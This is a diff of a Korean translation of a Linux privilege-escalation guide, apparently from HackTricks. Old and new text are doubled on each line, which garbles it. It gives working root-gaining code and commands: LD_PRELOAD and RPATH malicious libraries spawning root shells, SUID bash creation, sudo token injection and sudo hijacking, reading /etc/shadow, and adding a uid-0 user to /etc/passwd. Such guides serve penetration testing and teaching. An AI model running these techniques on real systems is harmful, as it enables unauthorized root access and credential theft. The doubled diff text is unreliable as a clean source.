`/etc/dbus-1/system.d/wpa_supplicant.conf`있는 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`으로부터 메시지를 소유하고, 전송하고, 수신할 수 있는 권한을 세히 설명합니다. `/etc/dbus-1/system.d/wpa_supplicant.conf`제공된 정책의 예는 root 사용자가 `fi.w1.wpa_supplicant1`으로부터 메시지를 소유하고, 전송하고, 수신할 수 있는 권한을 세히 설명합니다.
지정된 사용자나 그룹이 없는 정책은 보편적으로 적용되며, "기본" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 경우에 적용됩니다. 지정된 사용자나 그룹이 없는 정책은 보편적으로 적용되며, "기본" 컨텍스트 정책은 다른 특정 정책에 의해 다루어지지 않는 모든 경우에 적용됩니다.
```xml ```xml
@ -579,7 +579,7 @@ D-Bus는 **허용/거부 모델**에 따라 작동하며, 누적 효과에 따
<allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/> <allow receive_sender="fi.w1.wpa_supplicant1" receive_type="signal"/>
</policy> </policy>
``` ```
**D-Bus 통신을 열거하고 악용하는 방법을 여기에서 배우십시오:** **D-Bus 통신을 열거하고 악용하는 방법을 여기에서 배우세요:**
{{#ref}} {{#ref}}
d-bus-enumeration-and-command-injection-privilege-escalation.md d-bus-enumeration-and-command-injection-privilege-escalation.md
@ -629,7 +629,7 @@ timeout 1 tcpdump
### Generic Enumeration ### Generic Enumeration
Check **who** you are, which **privileges** do you have, which **users** are in the systems, which ones can **login** and which ones have **root privileges:** 당신이 **누구**인지, 어떤 **권한**이 있는지, 시스템에 어떤 **사용자**가 있는지, 어떤 사용자가 **로그인**할 수 있는지, 그리고 어떤 사용자가 **루트 권한**을 가지고 있는지 확인하십시오:
```bash ```bash
#Info about me #Info about me
id || (whoami && groups) 2>/dev/null id || (whoami && groups) 2>/dev/null
@ -654,11 +654,11 @@ gpg --list-keys 2>/dev/null
### Big UID ### Big UID
일부 Linux 버전은 **UID > INT_MAX**를 가진 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 더 많은 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 및 [here](https://twitter.com/paragonsec/status/1071152249529884674).\ 일부 Linux 버전은 **UID > INT_MAX**를 가진 사용자가 권한을 상승시킬 수 있는 버그의 영향을 받았습니다. 더 많은 정보: [here](https://gitlab.freedesktop.org/polkit/polkit/issues/74), [here](https://github.com/mirchr/security-research/blob/master/vulnerabilities/CVE-2018-19788.sh) 및 [here](https://twitter.com/paragonsec/status/1071152249529884674).\
**다음 명령어로 이용하세요**: **`systemd-run -t /bin/bash`** **다음과 같이 악용할 수 있습니다**: **`systemd-run -t /bin/bash`**
### Groups ### Groups
루트 권한을 부여할 수 있는 **그룹의 구성원인지 확인하세요**: 루트 권한을 부여할 수 있는 **그룹의 구성원인지 확인**하세요:
{{#ref}} {{#ref}}
interesting-groups-linux-pe/ interesting-groups-linux-pe/
@ -683,22 +683,22 @@ grep "^PASS_MAX_DAYS\|^PASS_MIN_DAYS\|^PASS_WARN_AGE\|^ENCRYPT_METHOD" /etc/logi
``` ```
### 알려진 비밀번호 ### 알려진 비밀번호
환경의 **어떤 비밀번호를 알고 있다면** 해당 비밀번호를 사용하여 **각 사용자로 로그인해 보세요**. 환경의 **어떤 비밀번호라도 알고 있다면** 해당 비밀번호를 사용하여 **각 사용자로 로그인해 보십시오**.
### Su Brute ### Su Brute
소음이 많이 발생하는 것을 신경 쓰지 않고 `su``timeout` 바이너리가 컴퓨터에 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용하여 사용자를 무작위 대입해 볼 수 있습니다.\ 많은 소음을 발생시키는 것에 신경 쓰지 않고 `su``timeout` 바이너리가 컴퓨터에 존재한다면, [su-bruteforce](https://github.com/carlospolop/su-bruteforce)를 사용하여 사용자를 무작위로 공격해 볼 수 있습니다.\
[**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)`-a` 매개변수도 사용자를 무작위 대입해 보려고 합니다. [**Linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)`-a` 매개변수를 사용하여 사용자를 무작위로 공격합니다.
## 쓰기 가능한 PATH 남용 ## 쓰기 가능한 PATH 남용
### $PATH ### $PATH
$PATH의 **어떤 폴더 안에 쓸 수 있는 권한이 있다면**, **쓰기 가능한 폴더 안에 백도어를 생성하여** 다른 사용자(이상적으로는 root)에 의해 실행될 명령의 이름으로 권한 상승을 시도할 수 있습니다. 이 명령은 $PATH에서 귀하의 쓰기 가능한 폴더보다 **이전의 폴더에서 로드되지 않아야** 합니다. $PATH의 **어떤 폴더 안에 쓸 수 있는 권한이 있다면** 쓰기 가능한 폴더 안에 **백도어를 생성하여** 다른 사용자(이상적으로는 root)에 의해 실행될 명령의 이름으로 설정함으로써 권한 상승을 할 수 있습니다. 이 명령은 $PATH에서 귀하의 쓰기 가능한 폴더보다 **앞서 위치한 폴더에서 로드되지 않아야** 합니다.
### SUDO 및 SUID ### SUDO 및 SUID
sudo를 사용하여 일부 명령을 실행할 수 있도록 허용되었거나 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용하여 확인하세요: sudo를 사용하여 일부 명령을 실행할 수 있도록 허용되었거나 suid 비트가 설정되어 있을 수 있습니다. 다음을 사용하여 확인하십시오:
```bash ```bash
sudo -l #Check commands you can execute with sudo sudo -l #Check commands you can execute with sudo
find / -perm -4000 2>/dev/null #Find all SUID binaries find / -perm -4000 2>/dev/null #Find all SUID binaries
@ -748,7 +748,7 @@ less>:e /etc/shadow #Jump to read other files using privileged less
ln /etc/shadow /var/log/new ln /etc/shadow /var/log/new
sudo less /var/log/new #Use symlinks to read any file sudo less /var/log/new #Use symlinks to read any file
``` ```
와일드카드가 사용되면 (\*), 훨씬 더 쉽습니다: 와일드카드(**wildcard**)가 사용되면(\*), 훨씬 더 쉽습니다:
```bash ```bash
sudo less /var/log/../../etc/shadow #Read shadow sudo less /var/log/../../etc/shadow #Read shadow
sudo less /var/log/something /etc/shadow #Red 2 files sudo less /var/log/something /etc/shadow #Red 2 files
@ -771,7 +771,7 @@ sudo less
만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령과 같은 이름의 **함수를 내보내기** 위해 시도할 수 있습니다. 만약 **suid** 바이너리가 **경로를 지정하여 다른 명령을 실행한다면**, suid 파일이 호출하는 명령과 같은 이름의 **함수를 내보내기** 위해 시도할 수 있습니다.
예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출하는 경우, 함수를 생성하고 내보내기 위해 시도해야 합니다: 예를 들어, suid 바이너리가 _**/usr/sbin/service apache2 start**_를 호출한다면, 함수를 생성하고 내보내기 위해 시도해야 합니다:
```bash ```bash
function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; } function /usr/sbin/service() { cp /bin/bash /tmp && chmod +s /tmp/bash && /tmp/bash -p; }
export -f /usr/sbin/service export -f /usr/sbin/service
@ -780,14 +780,14 @@ export -f /usr/sbin/service
### LD_PRELOAD & **LD_LIBRARY_PATH** ### LD_PRELOAD & **LD_LIBRARY_PATH**
**LD_PRELOAD** 환경 변수는 로더가 모든 다른 라이브러리, 표준 C 라이브러리(`libc.so`)를 포함하여 로드하기 전에 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 프로세스를 라이브러리 프리로딩이라고 합니다. **LD_PRELOAD** 환경 변수는 로더가 모든 다른 라이브러리, 표준 C 라이브러리(`libc.so`)를 포함하여 로드하기 전에 로드할 하나 이상의 공유 라이브러리(.so 파일)를 지정하는 데 사용됩니다. 이 과정은 라이브러리를 미리 로드하는 것으로 알려져 있습니다.
그러나 시스템 보안을 유지하고 이 기능이 악용되는 것을 방지하기 위해, 특히 **suid/sgid** 실행 파일과 관련하여 시스템은 특정 조건을 강제합니다: 그러나 시스템 보안을 유지하고 이 기능이 악용되는 것을 방지하기 위해, 특히 **suid/sgid** 실행 파일과 관련하여 시스템은 특정 조건을 강제합니다:
- 로더는 실제 사용자 ID(_ruid_)가 유효 사용자 ID(_euid_)와 일치하지 않는 실행 파일에 대해 **LD_PRELOAD**를 무시합니다. - 로더는 실제 사용자 ID(_ruid_)가 유효 사용자 ID(_euid_)와 일치하지 않는 실행 파일에 대해 **LD_PRELOAD**를 무시합니다.
- suid/sgid가 있는 실행 파일의 경우, suid/sgid인 표준 경로의 라이브러리만 프리로드됩니다. - suid/sgid가 있는 실행 파일의 경우, suid/sgid인 표준 경로의 라이브러리만 미리 로드됩니다.
권한 상승은 `sudo`로 명령을 실행할 수 있는 능력이 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문이 포함 경우 발생할 수 있습니다. 이 구성은 **LD_PRELOAD** 환경 변수가 지속되고 `sudo`로 명령을 실행할 때 인식되도록 하여, 잠재적으로 상승된 권한으로 임의의 코드 실행으로 이어질 수 있습니다. 권한 상승은 `sudo`로 명령을 실행할 수 있는 능력이 있고 `sudo -l`의 출력에 **env_keep+=LD_PRELOAD** 문이 포함되어 있는 경우 발생할 수 있습니다. 이 구성은 **LD_PRELOAD** 환경 변수가 지속되고 `sudo`로 명령을 실행할 때 인식되도록 하여, 잠재적으로 상승된 권한으로 임의의 코드가 실행될 수 있게 합니다.
``` ```
Defaults env_keep += LD_PRELOAD Defaults env_keep += LD_PRELOAD
``` ```
@ -804,7 +804,7 @@ setuid(0);
system("/bin/bash"); system("/bin/bash");
} }
``` ```
그런 다음 **컴파일합니다**: 그런 다음 **컴파일하세요**:
```bash ```bash
cd /tmp cd /tmp
gcc -fPIC -shared -o pe.so pe.c -nostartfiles gcc -fPIC -shared -o pe.so pe.c -nostartfiles
@ -814,7 +814,7 @@ gcc -fPIC -shared -o pe.so pe.c -nostartfiles
sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo sudo LD_PRELOAD=./pe.so <COMMAND> #Use any command you can run with sudo
``` ```
> [!CAUTION] > [!CAUTION]
> 공격자가 **LD_LIBRARY_PATH** 환경 변수를 제어하는 경우, 유사한 권한 상승이 악용될 수 있습니다. 이는 공격자가 라이브러리를 검색할 경로를 제어하기 때문입니다. > 공격자가 **LD_LIBRARY_PATH** 환경 변수를 제어하는 경우 유사한 권한 상승이 악용될 수 있습니다. 이는 공격자가 라이브러리를 검색할 경로를 제어하기 때문입니다.
```c ```c
#include <stdio.h> #include <stdio.h>
#include <stdlib.h> #include <stdlib.h>
@ -836,7 +836,7 @@ sudo LD_LIBRARY_PATH=/tmp <COMMAND>
``` ```
### SUID 바이너리 .so 주입 ### SUID 바이너리 .so 주입
비정상적으로 보이는 **SUID** 권한이 있는 바이너리를 발견했을 때, **.so** 파일이 제대로 로드되고 있는지 확인하는 것이 좋은 방법입니다. 다음 명령어를 실행하여 확인할 수 있습니다: 비정상적으로 보이는 **SUID** 권한을 가진 바이너리를 발견했을 때, **.so** 파일이 제대로 로드되고 있는지 확인하는 것이 좋은 방법입니다. 다음 명령어를 실행하여 확인할 수 있습니다:
```bash ```bash
strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file" strace <SUID-BINARY> 2>&1 | grep -i -E "open|access|no such file"
``` ```
@ -920,7 +920,7 @@ https://gtfoargs.github.io/
권한 상승을 위한 요구 사항: 권한 상승을 위한 요구 사항:
- 이미 "_sampleuser_" 사용자로 셸을 가지고 있음 - 이미 "_sampleuser_" 사용자로 셸을 가지고 있음
- "_sampleuser_"가 **최근 15분** 이내에 **`sudo`를 사용하여** 무언가를 실행했음 (기본적으로 이는 비밀번호 없이 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속 시간입니다) - "_sampleuser_"가 **최근 15분** 이내에 **`sudo`**를 사용하여 무언가를 실행했음 (기본적으로 이는 비밀번호 없이 `sudo`를 사용할 수 있게 해주는 sudo 토큰의 지속 시간입니다)
- `cat /proc/sys/kernel/yama/ptrace_scope`는 0임 - `cat /proc/sys/kernel/yama/ptrace_scope`는 0임
- `gdb`에 접근 가능 (업로드할 수 있어야 함) - `gdb`에 접근 가능 (업로드할 수 있어야 함)
@ -928,7 +928,7 @@ https://gtfoargs.github.io/
이 모든 요구 사항이 충족되면, **다음 링크를 사용하여 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject) 이 모든 요구 사항이 충족되면, **다음 링크를 사용하여 권한을 상승시킬 수 있습니다:** [**https://github.com/nongiach/sudo_inject**](https://github.com/nongiach/sudo_inject)
- **첫 번째 익스플로잇** (`exploit.sh`)는 _/tmp_에 `activate_sudo_token`이라는 바이너리를 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 합니다): - **첫 번째 익스플로잇**(`exploit.sh`)은 _/tmp_에 `activate_sudo_token`이라는 바이너리를 생성합니다. 이를 사용하여 **세션에서 sudo 토큰을 활성화할 수 있습니다** (자동으로 루트 셸을 얻지 않으며, `sudo su`를 실행해야 ):
```bash ```bash
bash exploit.sh bash exploit.sh
/tmp/activate_sudo_token /tmp/activate_sudo_token
@ -946,15 +946,15 @@ sudo su
``` ```
### /var/run/sudo/ts/\<Username> ### /var/run/sudo/ts/\<Username>
폴더 내의 파일에 **쓰기 권한**이 있는 경우, 이진 파일 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\ 해당 폴더 또는 폴더 내에 생성된 파일에 **쓰기 권한**이 있는 경우, 이진 파일 [**write_sudo_token**](https://github.com/nongiach/sudo_inject/tree/master/extra_tools) 사용하여 **사용자 및 PID에 대한 sudo 토큰을 생성**할 수 있습니다.\
예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고, PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수 있습니다**. 예를 들어, _/var/run/sudo/ts/sampleuser_ 파일을 덮어쓸 수 있고, PID 1234로 해당 사용자로 쉘을 가지고 있다면, 비밀번호를 알 필요 없이 **sudo 권한을 얻을 수** 있습니다.
```bash ```bash
./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser ./write_sudo_token 1234 > /var/run/sudo/ts/sampleuser
``` ```
### /etc/sudoers, /etc/sudoers.d ### /etc/sudoers, /etc/sudoers.d
파일 `/etc/sudoers``/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 사용할 수 있는지와 그 방법을 설정합니다. 이 파일들은 **기본적으로 사용자 root와 그룹 root만 읽을 수 있습니다**.\ 파일 `/etc/sudoers``/etc/sudoers.d` 내부의 파일들은 누가 `sudo`를 사용할 수 있는지와 그 방법을 설정합니다. 이 파일들은 **기본적으로 사용자 root와 그룹 root만 읽을 수 있습니다**.\
**만약** 이 파일을 **읽을 수 있다면**, **흥미로운 정보를 얻을 수 있을 것입니다**, 그리고 만약 **어떤 파일을 쓸 수 있다면**, **권한을 상승시킬 수 있습니다**. **만약** 이 파일을 **읽을 수 있다면** **흥미로운 정보를 얻을 수 있을 것이고**, 만약 어떤 파일을 **쓸 수 있다면** **권한을 상승시킬 수 있습니다**.
```bash ```bash
ls -l /etc/sudoers /etc/sudoers.d/ ls -l /etc/sudoers /etc/sudoers.d/
ls -ld /etc/sudoers.d/ ls -ld /etc/sudoers.d/
@ -979,9 +979,9 @@ permit nopass demo as root cmd vim
``` ```
### Sudo Hijacking ### Sudo Hijacking
만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행한 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예: .bash_profile에 새로운 경로 추가) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다. 만약 **사용자가 일반적으로 머신에 연결하고 `sudo`를 사용하여 권한을 상승시키는** 것을 알고 있고, 그 사용자 컨텍스트 내에서 쉘을 얻었다면, **새로운 sudo 실행 파일을 생성**하여 루트로서 당신의 코드를 실행한 다음 사용자의 명령을 실행할 수 있습니다. 그런 다음, **사용자 컨텍스트의 $PATH를 수정**하여 (예를 들어 .bash_profile에 새로운 경로를 추가하여) 사용자가 sudo를 실행할 때 당신의 sudo 실행 파일이 실행되도록 합니다.
사용자가 다른 쉘(배시가 아)을 사용하는 경우, 새로운 경로를 추가하기 위해 다른 파일을 수정해야 한다는 점에 유의하세요. 예를 들어 [sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`를 수정합니다. [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 또 다른 예를 찾을 수 있습니다. 사용자가 다른 쉘(배시가 아)을 사용하는 경우, 새로운 경로를 추가하기 위해 다른 파일을 수정해야 한다는 점에 유의하세요. 예를 들어[ sudo-piggyback](https://github.com/APTy/sudo-piggyback)는 `~/.bashrc`, `~/.zshrc`, `~/.bash_profile`를 수정합니다. [bashdoor.py](https://github.com/n00py/pOSt-eX/blob/master/empire_modules/bashdoor.py)에서 또 다른 예를 찾을 수 있습니다.
또는 다음과 같은 것을 실행할 수 있습니다: 또는 다음과 같은 것을 실행할 수 있습니다:
```bash ```bash
@ -1006,8 +1006,8 @@ sudo ls
이는 `/etc/ld.so.conf.d/*.conf`의 구성 파일이 읽힐 것임을 의미합니다. 이 구성 파일은 **라이브러리**가 **검색**될 **다른 폴더**를 가리킵니다. 예를 들어, `/etc/ld.so.conf.d/libc.conf`의 내용은 `/usr/local/lib`입니다. **이는 시스템이 `/usr/local/lib` 내에서 라이브러리를 검색할 것임을 의미합니다.** 이는 `/etc/ld.so.conf.d/*.conf`의 구성 파일이 읽힐 것임을 의미합니다. 이 구성 파일은 **라이브러리**가 **검색**될 **다른 폴더**를 가리킵니다. 예를 들어, `/etc/ld.so.conf.d/libc.conf`의 내용은 `/usr/local/lib`입니다. **이는 시스템이 `/usr/local/lib` 내에서 라이브러리를 검색할 것임을 의미합니다.**
어떤 이유로 **사용자가 다음 경로에 쓰기 권한**을 가지고 있다면: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내의 모든 파일 또는 `/etc/ld.so.conf.d/*.conf` 내의 구성 파일에 있는 모든 폴더, 그는 권한 상승을 할 수 있습니다.\ 어떤 이유로든 **사용자가 다음 경로 중 하나에 쓰기 권한**이 있는 경우: `/etc/ld.so.conf`, `/etc/ld.so.conf.d/`, `/etc/ld.so.conf.d/` 내의 모든 파일 또는 `/etc/ld.so.conf.d/*.conf` 내의 구성 파일 내의 모든 폴더, 그는 권한 상승을 할 수 있습니다.\
다음 페이지에서 **이 잘못된 구성을 악용하는 방법**을 살펴보세요: 다음 페이지에서 **이 잘못된 구성을 악용하는 방법**을 확인하세요:
{{#ref}} {{#ref}}
ld.so.conf-example.md ld.so.conf-example.md
@ -1024,7 +1024,7 @@ linux-gate.so.1 => (0x0068c000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000) libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x005bb000) /lib/ld-linux.so.2 (0x005bb000)
``` ```
`/var/tmp/flag15/`라이브러리를 복사하면 `RPATH` 변수에 지정된 대로 이 위치에서 프로그램에 의해 사용됩니다. `/var/tmp/flag15/`lib를 복사함으로써 `RPATH` 변수에 지정된 대로 이 위치에서 프로그램에 의해 사용될 것입니다.
``` ```
level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/ level15@nebula:/home/flag15$ cp /lib/i386-linux-gnu/libc.so.6 /var/tmp/flag15/
@ -1033,7 +1033,7 @@ linux-gate.so.1 => (0x005b0000)
libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000) libc.so.6 => /var/tmp/flag15/libc.so.6 (0x00110000)
/lib/ld-linux.so.2 (0x00737000) /lib/ld-linux.so.2 (0x00737000)
``` ```
그런 다음 `/var/tmp``gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`를 사용하여 악성 라이브러리를 생성합니다. 그런 다음 `/var/tmp`악성 라이브러리를 생성합니다: `gcc -fPIC -shared -static-libgcc -Wl,--version-script=version,-Bstatic exploit.c -o libc.so.6`
```c ```c
#include<stdlib.h> #include<stdlib.h>
#define SHELL "/bin/sh" #define SHELL "/bin/sh"
@ -1077,12 +1077,12 @@ getfacl -t -s -R -p /bin /etc /home /opt /root /sbin /usr /tmp 2>/dev/null
``` ```
## Open shell sessions ## Open shell sessions
In **old versions** you may **hijack** some **shell** session of a different user (**root**).\ **구버전**에서는 다른 사용자(**root**)의 **셸** 세션을 **탈취**할 수 있습니다.\
In **newest versions** you will be able to **connect** to screen sessions only of **your own user**. However, you could find **interesting information inside the session**. **최신 버전**에서는 **자신의 사용자**의 화면 세션에만 **연결**할 수 있습니다. 그러나 **세션 내부에서 흥미로운 정보**를 찾을 수 있습니다.
### screen sessions hijacking ### screen sessions hijacking
**List screen sessions** **화면 세션 목록**
```bash ```bash
screen -ls screen -ls
screen -ls <username>/ # Show another user' screen sessions screen -ls <username>/ # Show another user' screen sessions
@ -1123,8 +1123,8 @@ Check **Valentine box from HTB** for an example.
### Debian OpenSSL Predictable PRNG - CVE-2008-0166 ### Debian OpenSSL Predictable PRNG - CVE-2008-0166
모든 SSL 및 SSH 키는 2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 경우 이 버그의 영향을 받을 수 있습니다.\ 2006년 9월부터 2008년 5월 13일 사이에 Debian 기반 시스템(Ubuntu, Kubuntu 등)에서 생성된 모든 SSL 및 SSH 키는 이 버그의 영향을 받을 수 있습니다.\
이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **32,768가지 변형만 가능했습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키가 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) 이 버그는 해당 OS에서 새로운 ssh 키를 생성할 때 발생하며, **가능한 변형이 32,768개만 존재했습니다**. 이는 모든 가능성을 계산할 수 있음을 의미하며, **ssh 공개 키가 있으면 해당 개인 키를 검색할 수 있습니다**. 계산된 가능성은 여기에서 확인할 수 있습니다: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh)
### SSH Interesting configuration values ### SSH Interesting configuration values
@ -1147,33 +1147,33 @@ root가 ssh를 사용하여 로그인할 수 있는지 여부를 지정하며,
```bash ```bash
AuthorizedKeysFile .ssh/authorized_keys access AuthorizedKeysFile .ssh/authorized_keys access
``` ```
해당 구성은 사용자가 "**testusername**"의 **private** 키로 로그인하려고 할 경우, ssh가 귀하의 키의 공개 키를 `/home/testusername/.ssh/authorized_keys``/home/testusername/access`위치한 키와 비교할 것임을 나타냅니다. 해당 구성은 사용자가 "**testusername**"의 **private** 키로 로그인하려고 할 , ssh가 귀하의 키의 공개 키를 `/home/testusername/.ssh/authorized_keys``/home/testusername/access`있는 키와 비교할 것임을 나타냅니다.
### ForwardAgent/AllowAgentForwarding ### ForwardAgent/AllowAgentForwarding
SSH 에이전트 포워딩을 사용하면 **서버에 키를 남기지 않고** **로컬 SSH 키를 사용할 수 있습니다** (비밀번호 없이!). 따라서 ssh를 통해 **호스트로 점프**한 다음, 그곳에서 **다른** 호스트로 **점프**할 수 있으며, **초기 호스트**에 위치한 **키**를 사용할 수 있습니다. SSH 에이전트 포워딩을 사용하면 **서버에 키를 남기지 않고** **로컬 SSH 키를 사용할 수 있습니다** (비밀번호 없이!). 따라서 ssh를 통해 **호스트로 점프**하고, 거기서 **다른** 호스트로 **점프**할 수 있으며, **초기 호스트**에 있는 **키**를 사용할 수 있습니다.
이 옵션을 `$HOME/.ssh.config`에 다음과 같이 설정해야 합니다: 이 옵션을 `$HOME/.ssh.config`에 다음과 같이 설정해야 합니다:
``` ```
Host example.com Host example.com
ForwardAgent yes ForwardAgent yes
``` ```
`Host``*`인 경우 사용자가 다른 머신으로 이동할 때마다 해당 호스트가 키에 접근할 수 있으므로(이는 보안 문제입니다). `Host``*`인 경우 사용자가 다른 머신으로 점프할 때마다 해당 호스트가 키에 접근할 수 있으므로(이는 보안 문제입니다).
파일 `/etc/ssh_config`는 이 **옵션**을 **재정의**하고 이 구성을 허용하거나 거부할 수 있습니다.\ 파일 `/etc/ssh_config`는 이 **옵션**을 **재정의**하고 이 구성을 허용하거나 거부할 수 있습니다.\
파일 `/etc/sshd_config``AllowAgentForwarding` 키워드를 사용하여 ssh-agent 포워딩을 **허용**하거나 **거부**할 수 있습니다(기본값은 허용). 파일 `/etc/sshd_config``AllowAgentForwarding` 키워드를 사용하여 ssh-agent 포워딩을 **허용**하거나 **거부**할 수 있습니다(기본값은 허용).
환경에서 Forward Agent가 구성되어 있는 경우 **권한 상승을 악용할 수 있으므로** 다음 페이지를 읽어보십시오: 환경에서 Forward Agent가 구성되어 있는 경우 다음 페이지를 읽어보세요. **권한 상승을 위해 이를 악용할 수 있습니다**:
{{#ref}} {{#ref}}
ssh-forward-agent-exploitation.md ssh-forward-agent-exploitation.md
{{#endref}} {{#endref}}
## 흥미로운 파일 ## 흥미로운 파일
### 프로파일 파일 ### 프로파일 파일
파일 `/etc/profile``/etc/profile.d/` 아래의 파일**사용자가 새 셸을 실행할 때 실행되는 스크립트**입니다. 따라서, 이들 중 하나를 **작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**. 파일 `/etc/profile``/etc/profile.d/` 아래의 파일은 **사용자가 새 셸을 실행할 때 실행되는 스크립트**입니다. 따라서, 이들 중 하나를 **작성하거나 수정할 수 있다면 권한을 상승시킬 수 있습니다**.
```bash ```bash
ls -l /etc/profile /etc/profile.d/ ls -l /etc/profile /etc/profile.d/
``` ```
@ -1181,14 +1181,14 @@ ls -l /etc/profile /etc/profile.d/
### Passwd/Shadow 파일 ### Passwd/Shadow 파일
운영 체제에 따라 `/etc/passwd``/etc/shadow` 파일이 다른 이름을 사용하거나 백업이 있을 수 있습니다. 따라서 **모두 찾고** **읽을 수 있는지 확인하는** 것이 좋습니다. 파일 안에 **해시가 있는지** 확인하세요: 운영 체제에 따라 `/etc/passwd``/etc/shadow` 파일이 다른 이름을 사용하거나 백업이 있을 수 있습니다. 따라서 **모두 찾아보고** **읽을 수 있는지 확인**하여 파일 안에 **해시가 있는지** 확인하는 것이 좋습니다:
```bash ```bash
#Passwd equivalent files #Passwd equivalent files
cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
#Shadow equivalent files #Shadow equivalent files
cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null
``` ```
일부 경우에 **비밀번호 해시**를 `/etc/passwd` (또는 동등한) 파일에서 찾을 수 있습니다. 일부 경우에 **비밀번호 해시**를 `/etc/passwd` (또는 해당 파일) 내에서 찾을 수 있습니다.
```bash ```bash
grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null
``` ```
@ -1200,11 +1200,11 @@ openssl passwd -1 -salt hacker hacker
mkpasswd -m SHA-512 hacker mkpasswd -m SHA-512 hacker
python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")' python2 -c 'import crypt; print crypt.crypt("hacker", "$6$salt")'
``` ```
그런 다음 사용자 `hacker`를 추가하고 생성된 비밀번호를 추가합니다. 사용자 `hacker`를 추가하고 생성된 비밀번호를 추가합니다.
``` ```
hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash hacker:GENERATED_PASSWORD_HERE:0:0:Hacker:/root:/bin/bash
``` ```
: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash` E.g: `hacker:$1$hacker$TzyKlv0/R/c28R.GAeLw.1:0:0:Hacker:/root:/bin/bash`
이제 `hacker:hacker``su` 명령을 사용할 수 있습니다. 이제 `hacker:hacker``su` 명령을 사용할 수 있습니다.
@ -1221,7 +1221,7 @@ NOTE: BSD 플랫폼에서는 `/etc/passwd`가 `/etc/pwd.db` 및 `/etc/master.pas
find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody find / '(' -type f -or -type d ')' '(' '(' -user $USER ')' -or '(' -perm -o=w ')' ')' 2>/dev/null | grep -v '/proc/' | grep -v $HOME | sort | uniq #Find files owned by the user or writable by anybody
